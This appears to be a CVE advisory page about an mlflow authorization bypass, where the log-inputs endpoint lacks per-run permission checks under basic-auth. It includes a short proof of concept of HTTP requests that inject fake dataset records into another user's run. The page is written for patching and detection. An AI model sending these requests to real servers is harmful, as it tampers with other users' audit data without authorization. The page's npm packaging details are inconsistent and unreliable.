CVE-2026-69146 is a medium-severity (CVSS 6.5) CWE-862 vulnerability in mlflow. A fix is available for mlflow — see the affected versions and patch details below.
MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-69146.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-69146 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mlflownpmDescription
Summary
When MLflow is deployed with the built-in basic-auth plugin (--app-name basic-auth), any authenticated user can inject arbitrary dataset records into another user's run by calling POST /api/2.0/mlflow/runs/log-inputs. The LogInputs proto handler is absent from the BEFORE_REQUEST_HANDLERS map in mlflow/server/auth/__init__.py, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as POST /api/2.0/mlflow/runs/log-metric -- correctly return HTTP 403.
Details
MLflow's basic-auth app gates every HTTP handler through a before-request hook (_before_request) that looks up the relevant permission validator in BEFORE_REQUEST_VALIDATORS. Validators are built from the BEFORE_REQUEST_HANDLERS dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to None), get_before_request_handler returns None, and the resulting entry in BEFORE_REQUEST_VALIDATORS is (path, method): None.
Inside _before_request:
# mlflow/server/auth/__init__.py _before_request()
if validator := _find_validator(request): # None is falsy -- branch skipped
if not validator():
return make_forbidden_response()
elif _is_proxy_artifact_path(request.path): # not a proxy path
...
# falls through: any authenticated request is allowed
The LogInputs protobuf class is not present in BEFORE_REQUEST_HANDLERS:
# mlflow/server/auth/__init__.py BEFORE_REQUEST_HANDLERS dict
# LogInputs is absent; all run-write operations below ARE present:
LogBatch: validate_can_update_run,
LogMetric: validate_can_update_run,
SetTag: validate_can_update_run,
LogParam: validate_can_update_run,
# LogInputs: <missing>
The route /api/2.0/mlflow/runs/log-inputs (and the identical /ajax-api/ variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The LogInputs handler writes DatasetInput records directly to the run's lineage table without any ownership check.
PoC
Prerequisites: MLflow v3.13.0 running with --app-name basic-auth. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B).
- Confirm the authorized endpoint correctly denies alice's write to bob's run:
POST /api/2.0/mlflow/runs/log-metric HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0}
Response: HTTP 403 Permission denied
- Inject a dataset record into bob's run as alice:
POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1
Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123)
Content-Type: application/json
{"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]}
Response: HTTP 200 {}
- Confirm injection persisted:
GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1
Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123)
Response: HTTP 200 -- dataset_inputs array contains {"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}.
Impact
Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mlflow | all versions | 3.15.0npm install mlflow@3.15.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mlflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mlflow to 3.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-69146 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is classified as having a Moderate severity for Red Hat OpenShift AI because exploitation is limited to altering run lineage metadata without permitting remote code execution, system takeover, or data confidentiality loss. In affected tracking server deployments utilizing built-in basic…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-69146 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-69146 in your dependencies?
Find it across npm, including transitive dependencies.